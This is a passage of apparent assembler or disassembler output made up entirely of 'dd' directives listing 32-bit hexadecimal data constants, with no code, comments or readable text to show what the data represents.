25687B05h, 7085F8B5h, 2884808Ch dd 0AA4E9026h, 673DFC21h, 0ABE1A103h, 2C3C7696h, 600A5514h dd 0C503C8FAh, 0A0FB3923h, 24AC3338h, 0B2B212h, 5B05535Ah dd 8C00F999h, 4EB8B97Bh, 0B24AC32Ch, 343C0038h, 878D6898h dd 9381175Ch, 0E0FDAC42h, 33885B0Ch, 0B4187040h, 2BCF18D0h dd 807F0E3Ch, 0E97D64F1h, 4AA682Ch, 6C0744F8h, 80F316h dd 0B3A36D4Ch, 7745727Fh, 79881803h, 4E8350D4h, 127F20Eh dd 0B03BEABBh, 0AC054C9Dh, 48A43AA8h, 43C840EDh, 11713000h dd 0B582362Dh, 23C927Ch, 0C7501AF9h, 7C626AEDh, 14D8C40h dd 1776A980h, 0C1F2642Dh, 0F2025F9Ch, 92E73300h, 5944B84h dd 1E272890h, 2FE422B4h, 9C4E115Fh, 15DC6491h, 0CE05889h dd 3281C799h, 0AF9C236Fh, 7901B8EBh, 9112E041h, 5089AD31h dd 0ECEC6429h, 322D1027h, 286CA68Ch, 0D7C00560h, 0C04DB7C7h dd 99A1FECCh, 0B902CDE8h, 93090C88h, 0B7DC4406h, 7A6E0400h dd 8F734497h, 0C9AB7h, 0AF2CFE0Ch, 5BEC9489h, 0C02D73A0h dd 0C3127CB1h, 8CB46C0Ah, 0B86D8806h, 90A1C028h, 33ED0849h dd 0D5D420BDh, 0A55AAAh, 0F2C3AFAh, 0F0F46347h, 8390C303h dd 0EA4B82Dh, 5E082298h, 2C590449h, 7AC18EC2h, 4BF90088h dd 5C46CDE7h, 6C4C10ECh, 0F169811Ch, 60EA51D9h, 24587374h dd 19FF82D4h, 0D4F850F4h, 5216E7FFh, 0BF09C52Ch, 984841E9h dd 257CC038h, 0D03A5B45h, 2E1580C1h, 59B73800h, 4DBF2D99h dd 7D11BC53h, 0A01C5067h, 6E602FF6h, 0AAFB9458h, 304F093h dd 0CF984606h, 96D84A3Ah, 0E0B6E808h, 0B3B61105h, 100D7CF2h dd 0D811BBFDh, 7101C1F2h, 873AEEEFh, 0A880EB58h, 0BC547F02h dd 9B19B8A9h, 109EE7A4h, 84D9E9BAh, 486FF518h, 0C9013E66h dd 8A5F86Ch, 78898603h, 280B2116h, 34C02C61h, 8866B3E4h dd 4D10C1D8h, 2F10A4B6h, 5498016Ah, 0E4033E36h, 0C4CEEDDCh dd 0A89029A9h, 0D113C41Ch, 5CFB8400h, 0EB008F23h, 92A28079h dd 29496B9h, 733FD16h, 0A0A2B009h, 10D32729h, 3A340941h dd 6308282Eh, 3C405B5Eh, 0F1A2E7ABh, 0C8854A74h, 8C12EB70h dd 5C138F08h, 0DF2C3C20h, 77A68042h, 11E8040Ah, 14838820h dd 91AD887h, 0EA328D60h, 65CF9C5Bh, 8400E645h, 0DB085330h dd 4649023h, 422CC3BBh, 0F87CA570h, 700EEA2h, 7F901B99h dd 3A1D6525h, 0B05D86E9h, 97BC9D01h, 2CF15035h, 0A74C14h dd 4B0DC65Fh, 30083148h, 28601E1Fh, 0B43B2FD8h, 3545803Bh dd 861D946Eh, 0ECB00172h, 0F58F204Fh, 530F3A90h, 0B82E24ABh dd 15A6E488h, 0E0AF0691h, 0E9115C49h, 6658A1h, 0A5692D49h dd 0EBE09C0h, 6686F4C4h, 0B240A898h, 0BA0130Eh, 0ECFBE011h dd 25B68238h, 98EA160Ah, 0EE44A402h, 0EB004472h, 0F9AED1A6h dd 4F1D5EDh, 872C5158h, 8F40B068h, 10FC354Ch, 30582823h dd 4AC43426h, 5F31244h, 103889Ch, 9E871380h, 0A060929Ah dd 880D2CF3h, 6C186EA9h, 0A8CCDDD4h, 0B0CDE064h, 2E484Ch dd 0FD95007Ch, 8EF0569Ah, 4098EF73h, 0E2F34A00h, 1814B430h dd 82C1227h, 50ACE05Dh, 249D8E3Ch, 0F993A45Bh, 83953303h dd 6C3F98C7h, 0FFAA3088h, 470A8580h, 0F5393113h, 8D048813h dd 2487676Dh, 8BF34F93h, 0C49F8879h, 49FA20h, 0B15F3D12h dd 4B0EF875h, 4E571001h, 0B5D90877h, 602C3874h, 0F70FE832h dd 0DF0C6894h, 827B90EAh, 0CEFE0131h, 2923112Eh, 879BDD17h dd 46B59C08h, 0F06D530h, 4014BC49h, 7B37877Dh, 2E8F2A0Fh dd 0AB3964B4h, 350090A8h, 83EE7658h, 862ACDFFh, 9D4AACBDh dd 55902087h, 3C07466Ah, 7C5C49F2h, 0C463B051h, 90BE93Ah dd 64E6EC51h, 0EC62C14h, 0AF9304C0h, 8C89A94h, 9440B06Bh dd 0A8E76474h, 0A31D1028h, 0B70B904h, 10968609h, 86DB0E0Eh dd 219980A7h, 78BB9ABh, 0BE10AC0Ah, 64E38BC6h, 7B1283E7h dd 0B5F921C3h, 2C9F4124h, 884AD7E3h, 7080F484h, 0B0634962h dd 4E7C7A1Ch, 0B7549315h, 0F77911E8h, 0D2ACE0Bh, 16845A10h dd 0F1BF48h, 0BA1933B8h, 75FEA77Fh, 58939CB2h, 2E0E8428h dd 0E99FF74Dh, 9058C086h, 30B67FFBh, 0F2106073h, 4CBCC98Ah dd 9700F992h, 2D0E39B1h, 78196B07h, 0A5469200h, 87750149h dd 6834ED5Ah, 38C91CC0h, 1227008Bh, 0E3AB5340h, 0A50BE7A3h dd 0E4876FF1h, 0E9B200ACh, 99083C7Fh, 7A009016h, 1F8777F6h dd 78456h, 71808C40h, 0D260F2Ah, 0EF1E3D13h, 40DD38B0h dd 65A84B9h, 0E0E0E497h, 0E8F020FAh, 36580194h, 59D4A41Dh dd 0AF7470E2h, 161C42E6h, 6A148FA8h, 5A2C27F8h, 0B893058Ch dd 31118A94h, 0CCB7D480h, 0ED031B61h, 9A871F52h, 55F10991h dd 0DCA32A6Ch, 380666A1h, 85172CBDh, 40B46050h, 9342B7E1h dd 4B4CBC90h, 95ED3F20h, 9F0A9B9h, 0D89508F6h, 265F2B8h dd 0B01EAA3Eh, 1060C0B3h, 8D0990D0h, 145121Dh, 6CA7319Eh dd 603BE4DDh, 1DF1E068h, 368CFD02h, 0F2658782h, 0A4ED5854h dd 28A1EC7Ah, 16082D0Fh, 40F2D008h, 0DB76E96Ch, 96021E77h dd 0FB877A68h, 9C46B4h, 74B934D8h, 0AA08CC3Ch, 0E30ABCBCh dd 9105EC5Bh, 24CDDD5Fh, 0BCAC742Fh, 862CC314h, 7C195075h dd 4C0AFA5Fh, 2100688Ch, 26FE270Fh, 0D216DA94h, 0A8007D7Fh dd 0DC07A6F4h, 0ACDB0F1Dh, 0EC2CD6ABh, 45050F52h, 0C58F60C8h dd 4C087010h, 0AA0700E8h, 86FD0B73h, 10D8A150h, 0A00C3C72h dd 124EF71Ch, 0C469509Eh, 18E7E688h, 680A8CEAh, 0E1E4F5A8h dd 83A91020h, 14684008h, 69D096FEh, 3DFC825Dh, 0C5F9246Bh dd 2D70F017h, 8FCD1512h, 122C7C91h, 99B048EEh, 72D13CB7h dd 9A20873Ah, 3C089B09h dd 3C9059B1h, 0D8890F2Dh, 0E0953805h, 0F6400670h, 1FB6073Eh dd 5908F223h, 9748D460h, 41322D18h, 70F5B68h, 517EFAA2h dd 1F19C379h, 91BB1806h, 3D50F0D6h, 8A021E2Ah, 1A4FBA07h dd 7400F454h, 9E690191h, 652C7DFEh, 1E6BE05Eh, 0F0890CA0h dd 720911D8h, 71E18AF1h, 929B1C64h, 592CF615h, 89A058Ch dd 9440B694h, 649C5F8Dh, 4F8400ADh, 0E77B3919h, 997ACF79h dd 8008A2h, 3154AB2Eh, 7AC8EA1Ah, 0B30804A0h, 3E5E60C3h dd 81CB2C49h, 473D17F0h, 0ACCC4AB8h, 8F006AD0h, 9861025Eh dd 71B7B69Bh, 84003AB3h, 0DB331CBAh, 0F9716FEh, 0A2150052h dd 0CA2A08D4h, 0D2F8B8C7h, 0C84404CFh, 9490E896h, 9F604CA8h dd 2C044494h, 5CBC6F21h, 0FC7B9CC9h, 132F1C08h, 88008891h dd 28A49A2Fh, 0D3139CC4h, 0B4440474h, 30F9C19Ch, 4C2C09C2h dd 0DAE6905Ah, 8447EA00h, 1D33AB0Ah, 6F911381h, 858A4FFh dd 38FA1525h, 28500C7Ch, 2ED876A9h, 98819E9h, 84892D20h dd 7A0098E4h, 3F2A5D77h, 20EB753h, 911539A1h, 0F0C86B19h dd 0C297B82Ch, 13B85640h, 403401B6h, 0E43BF20Fh, 7CB4B9E7h dd 641BB801h, 0C42DF98Eh, 0B512C448h, 83E4E360h, 38D108h dd 7502D4B9h, 0B78D747Dh, 0E02D4812h, 0D5B14490h, 0EF2C18D4h dd 0B7AE4082h, 0C023654Fh, 8C86FBA5h, 0D587C8A0h, 14045C68h dd 0B9D71C08h, 0D4CDD3DCh, 0B162986Ch, 8548291h, 9CF04017h dd 29F4A77h, 0C102C30h, 2E58F481h, 7F3B703Eh, 0FF857E01h dd 0BF8067FBh, 0E7FC6420h, 8C305831h, 17FA0308h, 772691E1h dd 0B4485828h, 2F87E4A1h, 0FD90C827h, 0B27073DEh, 764500F4h dd 873C1AA7h, 6B97853Bh, 44989CE0h, 0E368F6A2h, 2C2858A6h dd 403C28A8h, 320B8489h, 0FCA027Bh, 9BC4FE70h, 24808F43h dd 604F3909h, 171D1888h, 400E327h, 41FA1438h, 32D575Ah dd 0CF7E9083h, 0E8069EFh, 0AFE48D32h, 0AE007A7Ch, 8710AA6h dd 0CBCFE887h, 0D091D370h, 0B9C8749Eh, 73602900h, 44787F14h dd 9B6C002Dh, 34A9FB4Ch, 855CC1E0h, 0C47626F4h, 88816996h dd 0D1E24A1Fh, 0F470E9F8h, 88A16435h, 0E537B831h, 7854A804h dd 6484FE55h, 192D9A94h, 13C483C0h, 0B560275Dh, 55BF284Bh dd 20B4D076h, 8A01F9BAh, 3AC2DBA5h, 0C07E662Ch, 6B3A358h dd 216E901h, 0DC081B3Fh, 0EC584C38h, 604AFB00h, 8068F0A1h dd 5304F113h, 41C174B4h, 493C57B8h, 0F04A6CA5h, 924811FCh dd 82045D78h, 76131F04h, 0AF436F64h, 48809EE2h, 55034B0Fh dd 0C874D445h, 8233C2A7h, 82879008h, 44102D14h, 608F59F8h dd 54E0FF27h, 0E4018D96h, 87B72483h, 9852EDDCh, 9704C4E9h dd 0F36DF090h, 0F0EB107h, 0E300E429h, 0B4CF0905h, 0D5100550h dd 420E2C1h, 0C30C871Ch, 9FC7BC93h, 0EF5216Ch, 96BEE6A9h dd 0F245AD83h, 0BFB8E4C4h, 68D2905Ah, 4CC45829h, 0A1C1582Eh dd 3A856EF1h, 3B335027h, 6628049Bh, 0D027C82Ch, 0C0228DC4h dd 0F0B6900h, 2A6F8249h, 60813E1h, 930B79Fh, 1890882Ch dd 0B5BA9740h, 58948498h, 0B008410Eh, 0A24DE4F4h, 0A5FA10D0h dd 88A49E1Fh, 9213C534h, 2A881CA0h, 0F80F49Bh, 9A471437h dd 1331128Ch, 4C230F5Eh, 8481F4C1h, 543C7A84h, 88F19EC3h dd 901468B8h, 40AC04BCh, 710511h, 70E59EF5h, 639A2D10h dd 6ABC061Ah, 9A9051C8h, 748250EFh, 64009DA2h, 48202C8Ch dd 6DF38D1h, 0E199B082h, 897984A0h, 6C49A9Fh, 0C4E96997h dd 0EBC23F9h, 4D0BA0D0h, 1EB97904h, 80BF4B08h, 0A850170h dd 0D73F59D6h, 84187586h, 2011D552h, 9011970Fh, 77B43DA3h dd 588EA430h, 0B0794B5Eh, 0A80669ADh, 9F042465h, 0E0BCEC08h dd 0B7451402h, 0B44349F1h, 3F893AE1h, 28B05885h, 5735003Eh dd 682B9A1h, 970F8E91h, 0C05086DEh, 0F8720D1h, 0F375124Ah dd 7ACC028Ah, 9638B82Dh, 0F8B2568h, 1489ECCDh, 0B5840027h dd 7CCD9Eh, 0FDF90F33h, 0C8BF0322h, 0B8FB822Eh, 42270EC2h dd 4DC069D4h, 8C45FE1h, 0C18A69C2h, 98682403h, 2D14E2A4h dd 13B8EE9Eh, 0E40880EBh, 0D8BE68D4h, 0B5A90F18h, 0B78D7FF1h dd 0A8A2F0BBh, 0E6206444h, 0AF94008Ah, 0C3F904ECh, 420236C4h dd 71918420h, 970046BCh, 0BC9E0085h, 5988A8FCh, 403A145Ah dd 0C0EF3800h, 743D8590h, 608AE326h, 3F52DD03h, 0B6AFE099h dd 5B5309D0h, 68883248h, 4B100A08h, 0C1B41614h, 7C0E35B4h dd 8A08C2D0h, 8CB3054Fh, 79402110h, 7F2B0001h, 775283E5h dd 0F012ED0h, 89EECF8h, 2C75FE1Fh, 0B5109CE0h, 0CB09DC01h dd 0B518815Ah, 10DC6C5h, 1218E840h, 509F00D5h, 4C849485h dd 0AC98AAB5h, 0A182510Bh, 40B10h, 159EF04h, 0CF7909B3h dd 58F0D32Ch, 0DF2562C0h, 98FB539Fh, 2F910234h, 0EB59F0C3h dd 0F80960F8h, 468A6895h, 0AA931250h, 0FD204794h, 0C3649084h dd 0F101586Fh, 8F90A298h, 0C0EADFBEh, 673BC0h, 0A0ACC710h dd 0C974CBC1h, 2487220Ch, 27FA5077h, 0E8601E36h, 451C02E9h dd 2D86F197h, 74716171h, 0AD5A3CB8h, 8ABC54A6h, 80F02949h dd 0D828D97Bh, 8B12A722h, 0CCBCED1Bh, 109D9B02h, 0E4F40D23h dd 3D66E04Fh, 754E26h, 7E945ADDh, 0E0919E89h, 0C4FC009Dh dd 2D820D14h, 0F4604787h, 0F9D2D5ABh, 57BF0891h, 8074BA02h dd 9FC4C9CBh, 0C5EFD2FCh, 1F07D850h, 87124410h, 774FC9Ah dd 0DC109F99h, 2D41F710h, 813894D8h, 678793FFh, 5958248Fh dd 0BEBD1506h, 6570B9CCh, 205109A5h, 0FF6A27FCh, 0F3821609h dd 499C59DFh, 0B897DC00h, 0B899DB1Dh, 870E8ADh, 0A4BA5912h dd 7BDE8F11h, 3455F24Bh, 701771E4h, 0E8067BADh, 7E49058Ah dd 20B8B0FAh, 841CF85Bh, 3580B8FFh, 9BD642FDh, 0F025E5C8h dd 0D3658001h, 3BC15479h, 60C0E73Ch, 0F94CB61Ch, 0C367804Ch dd 4E39AD4Bh, 55683790h, 0B2C81374h, 0B0474E34h, 0AE5343A7h dd 62201E73h, 782F81CFh, 31A0E819h, 28806262h, 0F320FC9Ch dd 41F9007Bh, 209A937h, 872A8611h, 8901D48Bh, 0E7BF1AFDh dd 98F0AA13h, 0C18C3BCh, 0F7C1214Eh, 0DFE4648Bh, 889C8C4Ah dd 6B023588h, 0FEA84120h, 0F3C7089Ah, 7780A017h, 5EB62800h dd 0F90DF8h, 688758E6h, 84082CAEh, 6BCC50CEh, 2CC87847h dd 394983FEh, 97AD2285h, 408C3057h, 4D6A92B2h, 9B00EDA8h dd 957E6EF8h, 83BF0091h, 1D9AAC50h, 9DC008h, 41FA2890h dd 4DFD276Fh, 10940041h, 0DE7343h, 0A59CF42Fh, 1B04F813h dd 84457813h, 0D090E000h, 4B886D76h, 8B7000B6h, 9F7AF052h dd 0C3299D00h, 10AE13FBh, 24FA7F31h, 8F2C8B18h, 0E909B71Bh dd 0C8093421h, 872068A3h, 105CCB88h, 163D7BD3h, 11B78EFBh dd 0F92EA0DCh, 43E3C22Ch, 2C8414DEh, 0D4151E61h, 5FB0C04Ah dd 1F4C2F8Ch, 6BF51E44h, 13AFB014h, 4800C9F8h, 4706C0D7h dd 0FF3F2087h, 8BC32D18h, 4DFEAE60h, 6C103836h, 0FBDE02F8h dd 5E50EDADh, 0EFAC4028h, 5E00AA9Ah, 0FEA9B90Eh, 1E5B0AA0h dd 0FE949ABh, 0B50180C0h, 0C33F0E4Eh, 2D811806h, 0B76868DBh dd 0B42C4881h, 0C9883DD4h, 2CE0C8FDh, 9978629Bh, 0F00B5222h dd 715407B8h, 807FD650h, 98FEA180h, 0FC888719h, 0A828B730h dd 80990E84h, 2CF21C0Ch, 3081F74Ah, 0CFC8AA59h, 86F93DA8h dd 6724BE00h, 0FF770A84h, 91B0C705h, 0D840A61Dh, 651D5BCh dd 45CD009Ch, 3AD4C125h, 15008F93h, 4BED705Fh, 0A3309A91h dd 897C898h, 40E2892h dd 0D8AB4FD8h, 7B2088D8h, 52A5132Fh, 1B10C10Eh, 682C2E27h dd 60A24D91h, 92F82224h, 135CC427h, 16D0A484h, 1CAE0091h dd 0CBC8B12Fh, 1DC5F3Ah, 9CA2B7E0h, 6A20701Ch, 3E50941Ch dd 0C4A39980h, 0FE42AA4Fh, 0A7631691h, 1F08B415h, 0D2F9871Ah dd 729F4250h, 666C40DCh, 76E809C9h, 268326FCh, 3B24B820h dd 4242764h, 2DC4A321h, 1F88B89Ch, 482B5C27h, 33208443h dd 0C880104Eh, 0F508B60h, 9D9CE0F0h, 282F6686h, 7EFB0F00h dd 509E3B28h, 0D2AA0987h, 2078F808h, 4165B701h, 0FA8EDBD8h dd 9F681CF0h, 382A34C9h, 4A82DE6Ch, 7943EF11h, 67080BB4h dd 0D882D8F8h, 0FCB0146Ch, 0D0D4F883h, 5021B6D8h, 400356FAh dd 8859B3F8h, 0A991C8A1h, 87F34B2Ch, 97867058h, 86B896E1h dd 0C03D4A00h, 7D10FD81h, 30322587h, 0FC995442h, 0AE0BF0B9h dd 80384326h, 0F0A55860h, 0B9DC00B6h, 91510C6Fh, 452E2CA8h dd 27BC2453h, 0FD300494h, 65B402ABh, 2758D2Ch, 0D1B59DBCh dd 0B42D0090h, 1E2CE779h, 692087E1h, 1855F8Dh, 0D2B764B0h dd 95880C8h, 19B5E617h, 7462E284h, 0A7622602h, 3840C212h dd 612EC392h, 0EA037CFAh, 0E025C180h, 2038527h, 0BAE56654h dd 4419B79h, 17118253h, 0F1839608h, 239DB4h, 301447F7h dd 2600DD1Ch, 850B7ACAh, 0E75DB802h, 773430h, 7EF9D09Fh dd 1A7BE863h, 43068C0h, 0D51F302h, 2F4B84EBh, 88D04411h dd 0C14B8AA8h, 2D81033h, 85F6008h, 0C5E6FD6h, 0AAD1DB08h dd 0C5DD0BDCh, 140118DAh, 0D40A3132h, 0EC3EF97Eh, 0A9A31306h dd 0AD3EEC00h, 167FAEA0h, 80532D78h, 354C6B2Ch, 0BB1C90B5h dd 0B9BCA0E9h, 20C4971Bh, 821AEC05h, 74CAAA6Eh, 0C0070912h dd 74DE1B58h, 64E7C100h, 487A90CDh, 146B0A96h, 8DC188Fh dd 660054F8h, 9850C43Ah, 9AFB079Fh, 0F0832D10h, 0B9955886h dd 254D8D78h, 7BC902CCh, 68E42408h, 832EC224h, 0F25E7EB0h dd 993D3AB8h, 0F10C781Ah, 1049A7A3h, 0A98E2850h, 0BBEA0FB4h dd 7FE09525h, 8FDC5B2Dh, 8CBDFC9Ch, 0E8AAB108h, 10500217h dd 0AC3478A6h, 0CF1F54E0h, 0AA119580h, 621CD090h, 347738F3h dd 19620E07h, 2DE859DCh, 886A24E0h, 1183C12Dh, 407DFD50h dd 0F514A095h, 4458CB5Ah, 60890E00h, 5DFE94A8h, 789CC8A1h dd 1E9F00FCh, 3B97F1D2h, 1C2D1206h, 0AAE44976h, 4600F4DAh dd 0A449F1D7h, 0B95CC2E7h, 0AC090488h, 29648CEDh, 6208190Dh dd 0F8603859h, 938CC743h, 7102C28Ah, 0D2F1E880h, 87E834F9h dd 22279D7Ch, 65206021h, 913Eh, 9849C0A6h, 8F0012B2h, 80F99D4Ah dd 391CF4BDh, 2A008506h, 91BE7607h, 0CD80DDA1h, 1C1D00B3h dd 8B952DC5h, 220CFA84h, 208CB282h, 8943A5Fh, 0D4246BAFh dd 0B69C2149h, 0E7107843h, 3C815ED4h, 0F2F2108h, 99071AB0h dd 8942AC9h, 0C3165546h, 0EC68E844h, 7BEE0080h, 935C3087h dd 190C9D58h, 0E1B14700h, 80CCA16Dh, 0CE940E6Eh, 90184182h dd 1480B746h, 50336C10h, 4503FE48h, 68089E96h, 0C5200E30h dd 52403D66h, 41C4EAF1h, 0E34EF812h, 2F805911h, 0D7DC809Ah dd 494B0Ch, 0B1E02E0Fh, 9F101239h, 799CFE25h, 94C94988h dd 0D4257FE3h, 0EA8644F9h, 809D60C0h, 261070ACh, 0E4FB17F4h dd 90BC02C7h, 9C80A2C3h, 44146E2Eh, 94C90E3Ch, 2408460Fh dd 786B746Bh, 8F6D25CCh, 0CF8F81Ah, 95F0B102h, 0F9969F2Ch dd 9C0886D4h, 0EB16304Bh, 0D02507CFh, 98E72C84h, 9D976009h dd 6400E865h, 9C6AF340h, 8D51030Fh, 7EE92C93h, 48E2684Ah dd 0B8343C12h, 1D4BC2A4h, 0B4AF5704h, 0B8837A8Bh, 20005914h dd 0CD06473Eh, 4EEA49C1h, 0D9208C9Bh, 55B5360Bh, 35A4A425h dd 0F91378E8h, 3264C1B6h, 7EB800DAh, 20AE0E6h, 8EF8AB11h dd 0F88013EAh, 4D34B12h, 47B79F00h, 62FC15EFh, 0FDF20040h dd 87E8AE34h, 0D8282CFBh, 0BB3CA8F4h, 0E05BAD12h, 1CFAB0h dd 0F78672EAh, 0FC8455D9h, 0E351100h, 8C82F988h, 0F6183EC7h dd 95370400h, 1A91CD4Dh, 54F2774Ah, 88418588h, 1880072Bh dd 0E57E5302h, 82133AF9h, 0E8CDBB1Bh, 5210CC78h, 28AF58A7h dd 0A07C821h, 9BAA959Dh, 8548731Bh, 85968793h, 0B5B04FD4h dd 39206C66h, 0C8048D5Eh, 840034C7h, 60873152h, 7210DE6Bh dd 8DBF3058h, 39445021h, 0E2264807h, 86819CE1h, 613A95A8h dd 6FA1C3E0h, 1D834027h, 4177D9h, 7FE96A86h, 4859C79h dd 17118761h, 6AF029h, 6D223C80h, 0C82F1352h, 99419A2h dd 7C213121h, 380EEC30h, 9803B385h, 3F0C6454h, 0A1D4F9C0h dd 3EAC7E00h, 8CEA0AECh, 0C11D7A2h, 66D9FC30h, 63222C2Fh dd 958EC10Ch, 1FD257C4h, 64D841ADh, 3A6F0EB8h, 0B79EC6A0h dd 7000C85h, 8FDA854h, 9D041E74h, 886A7025h, 2FE96CD0h dd 0F71CE430h, 66C4272Ch, 0F3004CEEh, 47DA4193h, 20AB2Ah dd 50BAFD28h, 91B8A9E9h, 8127B5Eh, 0EA3EB0B8h, 0F0D45A4Ah dd 0C50FB4D9h, 0A8CC9321h, 205217ECh, 7C2CA565h, 0A7881CFCh dd 0D0BC2075h, 80257078h, 0E500FE85h, 7FEFB9A9h, 4F08CB71h dd 86E8D095h, 5504AB3Ah, 49F32CFFh, 8C81F4B8h, 42D5EA2Fh dd 6060993Ch, 554CA4FFh, 8FED3A43h, 768F1CB4h, 0A6E16CD9h dd 5D1AEC52h, 38A16762h, 2B2A6C4Fh, 5776B4C1h, 95988303h dd 2C136BB1h, 0A0A43C11h, 1B9400DBh, 0F0471062h, 0BC120225h dd 98E99BC8h, 16404092h, 90A61E58h, 0AA89861Eh, 4A105180h dd 0CDFDCE8h, 144E0901h, 0DC9415F0h, 0B8872802h, 805C4AB5h dd 0E594D0D4h, 0FB7831h, 0DA690C2Ch, 87D2F9ACh, 8E072600h dd 0A160B05h, 0A2B0A88Fh, 1B4280BEh, 0DF46FB02h, 7C8B8E08h dd 81D2023Ch, 0D090F5h, 90152128h, 9C0A1017h, 0FE7884A2h dd 0C139DEBh, 89AF2D8h, 0DCE1655Ah, 9B0B4C73h, 598275C8h dd 0B8685A77h, 0D88320C4h, 95EE2D6Eh, 11A19806h, 8FFBFD17h dd 4510A88Ch, 79187CC0h, 10AC7258h, 875F5CE9h, 6D708258h dd 0A20090E6h, 0BFDF1B10h, 322CFCFBh, 3E6845B9h, 798FDC5Eh dd 0ACAE9CD6h, 878D00BDh, 0EF3AEAFh, 1AC20049h, 0AD90EB92h dd 18258B51h, 2004D852h, 670BBA11h, 60B77915h, 0BE09343Ch dd 0AB3C44BCh, 1FF9ECC9h, 1BCEC02Ch, 20C1EF66h, 6C669717h dd 2C1E9CF2h, 3464271Fh, 1BC1900h, 3D0A8442h, 0EE3F01A1h dd 52858679h, 0F911863Ch, 0F3291A8Ch, 0CB98C12Fh, 0FC8004EBh dd 1D0FF2Dh, 8B8AF9DBh, 30015CCCh, 5000AB74h, 8E423AB1h dd 499E10A1h, 7987E4FEh, 0A8D2CF8Bh, 0CF8883FCh, 0AA581D02h dd 2C3E85ADh, 14EC12h, 24D0A214h, 28CEF80Bh, 3CC11321h dd 7E00CB2Dh, 4EAB955Ch, 0B0C32B03h, 0D4D308EEh, 51FE84A4h dd 0B45290C7h, 0A358D83Ch, 907790D0h, 0AAD4802h, 0F0150172h dd 769CE65Ah, 3369D043h, 670A99E2h, 184A0E8Eh, 0A5980807h dd 0E8EF1540h, 7C8C0093h, 11B73227h, 0DC600C86h, 6E074328h dd 1C2F540Fh, 967463h, 13CDE916h, 3E859DEh, 64112603h dd 804E913Dh, 825009h, 0AA8FCDA7h, 33EAE019h, 7E460E01h dd 0C7CE7587h, 6DF7360h, 6D2F8F0h, 2B186015h, 8E688CA0h dd 9E340E63h, 0B3806BC1h, 6454B10h, 32E2F101h, 0A2F0AAE6h dd 0BB270881h, 80A0562Bh, 0F7AE1038h, 0C06B4D83h, 5B3A1510h dd 612007E6h, 0CE500BF2h, 0B00EF9Ah, 9498FF83h, 0EBF87EE8h dd 7F079B0Ch, 0C028F4h, 0F296AA84h, 0D4623FD0h, 4A83C100h dd 7FB05CA9h dd 30EA7850h, 2011AA02h, 0DC003B5Eh, 0C805F5FAh, 94F6A5h dd 0B1ED6F56h, 8D6D765Bh, 208B0900h, 0C5B3E474h, 9D59500Bh dd 75CE1FE5h, 0B4EB001Bh, 0F6AB5C20h, 8A961603h, 9673C32Bh dd 0CFF30620h, 30B0497Fh, 11D23Bh, 4BBD3584h, 0F61C870Eh dd 1B28DF53h, 0B3CB31AAh, 0A6AFC1E0h, 0E800CEF8h, 6921F815h dd 3FB22ABFh, 7D80D70Dh, 90D1C265h, 0EA006A7Ch, 0D29443DEh dd 3F1D13EFh, 0F403C586h, 0B1AA2187h, 8E2FC1C9h, 400BF551h dd 9F501759h, 11150CF9h, 2EB02183h, 49B9CA60h, 1FFEA7B6h dd 7FED3D3Bh, 0A8198E31h, 7548851Eh, 1800369Ah, 8EBF5147h dd 0CE11CE66h, 29FE46C6h, 41C3C01h, 0B3E93292h, 8BC08B61h dd 7D81E224h, 0F10DCECh, 0E9412C89h, 0C5FFF80Fh, 0DB03F687h dd 0F7201362h, 0EFE900DDh, 29056E3Bh, 5F5DEB00h, 47E9D901h dd 0CF26DD40h, 0F8C059C8h, 794BBB53h, 0E91DB21Eh, 3388D5h dd 7664ADBDh, 0FEEB2134h, 976A669Bh, 4530743Ch, 0CFB984E8h dd 52653D4Ah, 246F0418h, 0ACB8C683h, 5C243405h, 611AC281h dd 1060072h, 1E1C8BDAh, 0CEC48324h, 31CD1433h, 810DA206h dd 68E9F706h, 0C79F4BC4h, 0B39C501Ah, 843FD828h, 5702B181h dd 0D2F45566h, 1D32A339h, 87372280h, 75835B4Ch, 5C367002h dd 0A8A32966h, 0D7FB5A10h, 5A408642h, 17BE5856h, 151F807h dd 5E08E374h, 0A3B850D8h, 1B793300h, 8158C689h, 0AD1EC344h dd 29E35F34h, 6C522F7Ch, 15E190Ch, 33BA0412h, 0A9012451h dd 59002EF6h, 0C00FB60Fh, 848734FFh, 500255Bh, 7D1C517Ah dd 0D1D681Bh, 90CEF914h, 0C181378Ah, 0D06215Eh, 0E843B6E9h dd 317E0BE8h, 0E2895215h, 0EA8387D7h, 0DC13E961h, 0BA528740h dd 0A0441E7Bh, 0F7A2D529h, 0E345F442h, 9E505DF1h, 9D5B151h dd 0C8BC828h, 22C46504h, 216B4283h, 9161E9E6h, 0FE681685h dd 54F35B01h, 0C681E698h, 8EE61A9h, 0A9FF5156h, 928F5EF8h dd 712E2084h, 85F6801Ch, 0C72AEBCEh, 0ADEE9FC3h, 70094416h dd 92380AECh, 52A5C71Bh, 378CBE54h, 5D3C5A16h, 594E1950h dd 68DD5B10h, 0E9581F43h, 0C872C6Bh, 0E053EFD1h, 308C504Ch dd 38435B33h, 315F1B5Fh, 82D406CDh, 9084F3F0h, 8CEE9D58h dd 382BB180h, 4122CAFCh, 0A73101DAh, 0DE51A956h, 17B08B80h dd 0E91B6447h, 0A128F2F7h, 0B8FF42D2h, 7EA41BABh, 6835331Fh dd 0C6B75D58h, 0C507FD31h, 4CC6109Eh, 11CAED60h, 52A803D1h dd 0D3895A55h, 6462FF9Bh, 51FD236h, 82D34C87h, 0F3038153h dd 233F446Ah, 31EBB84Bh, 567E302Dh, 708A11Ah, 0E3D19C03h dd 778993E9h, 91C3FEDFh, 4EB9200h, 9931BF16h, 0F84508h dd 13079F33h, 0E200C110h, 78EA8102h, 28404C1Eh, 0C8FB5401h dd 0B3340B5Ch, 4142E055h, 54552027h, 0E95F21C1h, 9846DF62h dd 0D0893D27h, 4E1A3124h, 67052FCFh, 592B4F79h, 95068364h dd 216165A7h, 813F56C5h, 6871F141h, 0F3A44637h, 0E951036Dh dd 763BDE55h, 0D5CF195Ch, 59218B0Ch, 0F6E589F4h, 0A99992DCh dd 6A08164h, 48B89234h, 0D4264C53h, 0B26DA182h, 97455623h dd 5715C824h, 413C8891h, 33506268h, 595E62F7h, 52C60F60h dd 0E520435Eh, 0ACB6014Eh, 0E680DEF6h, 40AB02Bh, 0B20EC9E9h dd 40D2483Dh, 2A98A600h, 5AD029B1h, 682C4ACh, 54E6A848h dd 80AF92Ch, 5D580Fh, 5BDD0113h, 4389A2D1h, 29582667h dd 2BCA48Eh, 2CAF444Eh, 55D9C11Ah, 0F0F5F434h, 1B62FF87h dd 90B2662Ah, 0FF02F354h, 35581140h, 0BAA4DB01h, 77286899h dd 202D8356h, 56A01B6Bh, 30BF93Dh, 5D801DBh, 